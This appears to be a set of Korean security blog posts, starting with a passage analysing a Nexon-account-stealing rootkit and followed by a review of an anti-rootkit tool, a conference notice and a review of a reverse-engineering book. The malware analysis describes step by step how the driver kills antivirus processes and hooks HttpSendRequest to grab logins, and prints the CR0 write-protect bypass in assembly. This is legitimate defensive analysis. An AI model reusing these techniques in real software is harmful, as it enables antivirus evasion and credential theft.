그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
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by Sone 2010.03.25 23:47
Arab Team 4 Reverse Engineering  에서 Kernel Detective라는 툴을 새롭게 내놓았습니다.
사실 배포된지는 꽤 됐죠.




기능을 살펴보면 , 

- 프로세스,쓰레드 정보 조회( 숨겨진 정보까지 탐지 가능 )
- KPROCESS , KTHREAD, 조회 가능
-  KeServiceDescriptorTable , KeServiceDescriptorTableShadow 변경 여부 조회 가능
- 쓰레드별로 , SSDT , SSDT SHADOW  Change , Restore 가능 ( SSDT Relocation 탐지 가능)
- IDT 조회 가능
- 핸들 조회&닫기 가능
- Kernel Modification 탐지 가능
- Driver 조회&언로드 가능
- 올리디버거 디스어셈블 엔진 내장 (모듈, 드라이버, 쓰레드, 프로세스,  특정 어드레스의 디스어셈블 가능, 실시간 Read/Write 지원)
- DebugView 지원


이건 뭐 딱 봐도 기능들이 초강력한것을 알수 있습니다.
커널모드로 작동하는 왠만한 보안프로그램은 저리가라 수준이네요.
역시나 창과 방패의 대결은 영원히 지속되는군요...(이번엔 방패측에서 조금 고생할수도....)




위 스샷은  카스퍼스키 안티 바이러스 2010  필터 드라이버에서  SSDT와  SSDT SHADOW 를 후킹하고있는것을 탐지한 모습입니다.
네이트온 원격제어로  카스퍼스키 화면을 컨트롤하려고 했을때 , 화면 조작이 되지않는 이유가 , 바로 SSDT Shadow를 후킹하고있기 때문이죠~

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by Sone 2010.01.23 00:15

저는 참석 예정입니다.
뭐  실력이고 뭐고 어찌됐던간에  제 관심거리가 RE이고 ,  많은 고수분들의 실력을 엿볼수 있는 기회이기도 해서  돈 1만5천원 아깝지 않을것같네요.

 등록은 아래 URL에서 합니다.
http://codeengn.com/2009/   에 들어가셔서  Registration 있습니다.

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by Sone 2009.06.19 12:01
이때까지 우리나라 역공학 관련 서적은 "역분석의 구조와 원리" 가 유일했었던것으로 알고있다.
그러나 개인적인 소견이지만 이 서적은 저자의 목적이었고 , 많은 사람들이 접근할수 있게끔 너무 기본적인 내용만 다루는터라 ,
고급 기술을 원하는 사람들에게는 뭔가 부족해보이는 서적이었다.

그러나..5월11일?

Reversing: Secrets of Reverse Engineering
리버싱 : 리버스 엔지니어링 비밀을 파헤치다

라는 제목으로 책이 출판되었다.

원래 이 책은 4년전 2005년 4월즈음에 외국에 이미 원서로 출판되었었지만,
우리나라는 드디어!  이제서야 번역이 되어져서 몇일전에 출판된 것이다.

따라서 아마 개인적인 생각으로는  역자가 따로 최신 내용을 추가하지 않는이상 ,
2005년 당시의 기술적인 내용들이 언급되어져 있을것이므로 , 약간 오래된 풍의 내용이 실렸을것으로 추측되지만,
그래도 역시나 제대로 된 서적 하나없는 우리나라 리버싱 정보망에 한줄기 희망의 빛을 주는 서적이 아닌가..하는 생각이 든다.
(실제 책을 받아서 본 결과 , 그리 오래된 내용들도 아니고 , 좋은 내용들이 많은것 같다.)








책에서 다룰 내용 중 , 주인장이 관심가는 부분을 붉은색으로 표시해보았다.


★ 이 책에서 다루는 내용 ★

■ IA-32 호환 프로세서용 컴파일러가 만든 어셈블리 언어 코드를 읽는 방법
> 어셈코드를 아직 어설프게밖에 읽을줄 모르는 관계로 , 개인적으로는 많은 도움이 될듯하다.

■ 문서화되지 않은 파일 포맷이나 네트워크 프로토콜 해석
■ 리버스 엔지니어링이 합법인 경우와 불법인 경우, 그리고 불법일 때의 이유
> 제일 민감하고도 , 중요한 부분이라고 생각되는 부분.

■ 리버싱을 활용해 해커가 복사 방지 기술을 무력화하는 방법
> 유명한 게임제작사들이 적용하는 SafeDisc 라던가 Starforce , SecuROM등을 무력화 하는 방법을 다루는것 같다.

■ 리버스 엔지니어링을 적용해 악성코드를 무력화하는 방법
> 악성코드를 분석하여 , 취약한 프로그램에 수정을 가함으로써  , 악성코드가 그 프로그램에 해를 끼치지 않게 하는건가?

■ 코드 리버싱을 막는 방어책과 효과적인 수행 방법
■ 닷넷 플랫폼 리버싱과 어셈블리 언어인 MSIL
■ 실제 악성코드 프로그램 분석 방법
> 가끔 이슈가 되는 악성프로그램들을 파보곤 하는데 , 역시나 관심이 가는 부분

■ 악성코드 프로그램을 이용해 공격자가 감염된 시스템 제어권을 획득하는 과정
>  크래커가 시스템을 장악하는 수법을 말하는듯.



다음으로 목차를 살펴보자.  목차를 보면 다들 아시겠지만 , 고급적인 내용들을 상당수 다루고 있다.
리버싱에 관심이 있는분께는 큰 도움이 될듯 하다.
주인장 역시 모르는 내용이 엄청나게 많다.
(초보분들이나 , 익숙치 않으신 분들께는 내용이 어려울것이라 생각된다.)


목차
1부 리버싱 101

1장 기초
리버스 엔지니어링
소프트웨어 리버스 엔지니어링: 리버싱
리버싱 적용
- 보안 관련 리버싱
-- 악성코드 소프트웨어
-- 암호 알고리즘 리버싱
-- 디지털 저작권 관리
-- 프로그램 바이너리 감사
- 소프트웨어 개발에서의 리버싱
-- 소프트웨어 간의 상호 운용
-- 경쟁 제품 분석
-- 소프트웨어의 품질과 안정성 측정
로우레벨 소프트웨어
- 어셈블리 언어
- 컴파일러
- 가상 머신과 바이트 코드
- 운영체제
리버싱 절차
- 시스템 레벨 리버싱
- 코드 레벨 리버싱
사용 툴
- 시스템 모니터링 툴
- 디스어셈블러
- 디버거
- 디컴파일러
리버싱은 합법적인 작업인가
- 상호 운용성
- 경쟁
- 저작권법
- 영업 비밀과 특허권
- 디지털 밀레니엄 저작권법
- DMCA 사례
- 사용권 계약
예제 코드와 툴
정리

2장 로우레벨 소프트웨어
하이레벨 관점
- 프로그램 구조
-- 모듈
-- 공통 구성 요소
- 데이터 처리
-- 변수
-- 사용자 정의 데이터 구조체
-- 리스트
- 제어 흐름
- 하이레벨 언어
-- C
-- C++
-- 자바
-- C#
로우레벨 관점
- 로우레벨 데이터 처리
-- 레지스터
-- 스택
-- 힙
-- 실행 데이터 섹션
- 제어 흐름
어셈블리 언어 입문
- 레지스터
- 플래그
- 명령 포맷
- 기본 명령
-- 데이터 이동
-- 산술 연산
-- 비교 연산
-- 조건 분기
-- 함수 호출
- 코드 예
컴파일러 기초
- 컴파일러란
- 컴파일러 아키텍처
-- 프런트엔드
-- 중간 표현
-- 최적화기
-- 백엔드
- 리스팅 파일
- 사용 컴파일러
실행 환경
- 소프트웨어 실행 환경(가상 머신)
-- 바이트 코드
-- 인터프리터
-- Just-in-Time 컴파일러
-- 리버싱 전략
- 최신 프로세서에서의 하드웨어 실행 환경
-- Intel NetBurst
-- μops(Micro-Ops)
-- 파이프라인
-- 분기 예측
정리

3장 윈도우 기초
컴포넌트와 기본 아키텍처
- 간략한 역사
- 특징
- 지원 하드웨어
메모리 관리
- 가상 메모리와 페이징
-- 페이징
-- 페이지 폴트
- 워킹 셋
- 커널 메모리와 유저 메모리
- 커널 모드 공간
- 섹션 객체
- VAD 트리
- 유저 모드 메모리 할당
- 메모리 관리 API
객체와 핸들
- 네임드 객체
프로세스와 스레드
- 프로세스
- 스레드
- 컨텍스트 스위칭
- 동기화 객체
- 프로세스 초기화 과정
애플리케이션 프로그래밍 인터페이스
- Win32 API
- 네이티브 API
- 시스템 콜 메커니즘
실행 포맷
- 기본 개념
- 이미지 섹션
- 섹션 정렬
- 동적 링크 라이브러리
- 헤더
- 임포트와 익스포트
- 디렉터리
입력과 출력
- I/O 시스템
- Win32 서브시스템
-- 객체 관리자
구조화된 예외 처리
정리

4장 리버싱 툴
다양한 리버싱 방법
- 오프라인 코드 분석(Dead-Listing)
- 라이브 코드 분석
디스어셈블러
- IDA Pro
- ILDasm
디버거
- 유저 모드 디버거
-- OllyDbg
-- WinDbg를 이용한 유저 모드 디버깅
-- IDA Pro
-- PEBrowse Professional Interactive
- 커널 모드 디버거
-- WinDbg를 이용한 커널 모드 디버깅
-- Numega SoftICE
-- 가상 머신에서의 커널 디버깅
디컴파일러
시스템 모니터링 툴
패치 툴
- Hex Workshop
기타 리버싱 툴
- 실행 이미지 덤프 툴
-- DUMPBIN
-- PEView
-- PEBrowse Professional
정리

2부 리버싱 응용

5장 리버싱 실전
리버싱과 상호운용성
기본 원칙
문서화되지 않은 API를 찾는 방법
- 찾고자 하는 것
사례 연구: NTDLL.DLL의 Generic Table API
- RtlInitializeGenericTable
- RtlNumberGenericTableElements
- RtlIsGenericTableEmpty
- RtlGetElementGenericTable
-- 셋업과 초기화
-- 로직과 구조
-- 검색 루프 1
-- 검색 루프 2
-- 검색 루프 3
-- 검색 루프 4
-- 소스코드 추출
- RtlInsertElementGenericTable
-- RtlLocateNodeGenericTable
-- RtlRealInsertElementWorker
-- Splay 트리
- RtlLookupElementGenericTable
- RtlDeleteElementGenericTable
- 분석한 내용 종합
정리

6장 파일 포맷 분석
Cryptex
Cryptex 사용
Cryptex 리버싱
패스워드 검증 과정
- "Bad Password" 메시지 잡아내기
- 패스워드 변환 알고리즘
- 패스워드 해싱
디렉터리 구조
- 디렉터리 처리 코드 분석
- 파일 엔트리 분석
디렉터리 구조 덤프
파일 추출 과정
- 파일 목록 검색
- 파일 복호화
- 부동소수점 연산
- 복호화 루프
- 해시 값 검증
정리
좀 더 자세히
결론

7장 프로그램 바이너리 감사
문제점 정의
보안 취약점
- 스택 오버플로우
-- 간단한 스택 보안 취약점
-- 내부 구현
-- 스택 검사
-- 비실행 가능 메모리
- 힙 오버플로우
- 문자열 필터
- 정수 오버플로우
-- 사용자 입력 정수에 대한 산술 연산
- 형 변환 에러
사례: IIS 인덱싱 서비스 보안 취약점
- CVariableSet::AddExtensionControlBlock
- DecodeURLEscapes
정리

8장 악성코드 리버싱
악성코드의 종류
- 바이러스
- 웜
- 트로이 목마
- 백도어
- 모바일 코드
- 애드웨어/스파이웨어
스틱키 소프트웨어
미래의 악성코드
- 정보 탈취 웜
- 바이오스/펌웨어 악성코드
악성코드의 목적
악성코드 취약점
다형성
변종
안전한 리버싱 환경 구축
Backdoor.Hacarmy.D
- 실행 파일 언패킹
- 최초 실행
- 설치
- 네트워크 연결
- 서버에 연결
- 채널에 접속
- 백도어와 통신
- SOCKS4 서버 실행
- 자체 제거
Backdoor.Hacarmy.D: 명령 레퍼런스
정리

3부 크래킹

9장 저작권 침해와 불법 복사 방지
저작권
사회적 측면
소프트웨어 저작권 침해
- 문제 정의
- 보안 결함
- 필요 조건
- 이론적으로 크랙이 불가능한 모델
보호 유형
- 매체 기반 보호
- 시리얼 번호
- 질의 응답과 온라인 인증
- 하드웨어 기반의 보호
- 서비스로서의 소프트웨어
진보된 보호 개념
- 크립토 프로세서
디지털 저작권 관리
- DRM 모델
-- 윈도우 미디어 저작권 관리자
-- 시큐어 오디오 패스
워터 마크
신뢰 컴퓨팅
복사 방지 기술 공격
정리

10장 안티 리버싱 기술
안티 리버싱이 필요한 이유
기본적인 안티 리버싱 방법
심볼 정보 제거
코드 암호화
안티 디버거 기술
- 디버거 기본
- IsDebuggerPresent API
- SystemKernelDebuggerInformation
- 싱글 스텝 인터럽트를 이용한 SoftICE 탐지 ...

목차를 쭉 살펴보면 ,  어셈블리 언어부터 시작해서 ,   윈도우 운영체제 , 컴퓨터 구조 ,  전반적인 언어론 , 컴파일러 등
모든 내용을 다루고 있다.  (아마 리버싱이라는 관점에 입각해서 내용을 다룰것으로 추측된다.)
따라서 모르는 부분이 생기면 , 언제든지 간단하게 찾아볼 수 있을것으로 생각된다.

원판이 발행된지 오래된것이 약간 마음에 걸리지만 , 크게 개의치 않고..
일단 내용이 매우 알차보인다


SAMSUNG TECHWIN | NV24HD, VLUU NV24HD, LANDIAO NV106HD | Normal program | Pattern | 1/2sec | F/2.8 | 0.00 EV | 4.3mm | ISO-200 | Off Compulsory | 2009:05:22 23:47:59
SAMSUNG TECHWIN | NV24HD, VLUU NV24HD, LANDIAO NV106HD | Normal program | Pattern | 1/25sec | F/2.8 | 0.00 EV | 4.3mm | ISO-200 | Off Compulsory | 2009:05:22 23:48:18


오늘 책을 받아보았는데 ,  내용이 많아서 좋지만  좀 딱딱한 감이 없잖아 있다. (그림같은것이 별로 없다)
그리고 좀 어려운 편인것 같아서 , 초보분들께서 보기에는 다소 무리가 있는것 같다.


C언어 , 컴퓨터구조 , 어셈블리언어 , 운영체제 등을 대충이나마 미리 알고 책을 보는게 좋을듯..
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by Sone 2009.05.22 02:55
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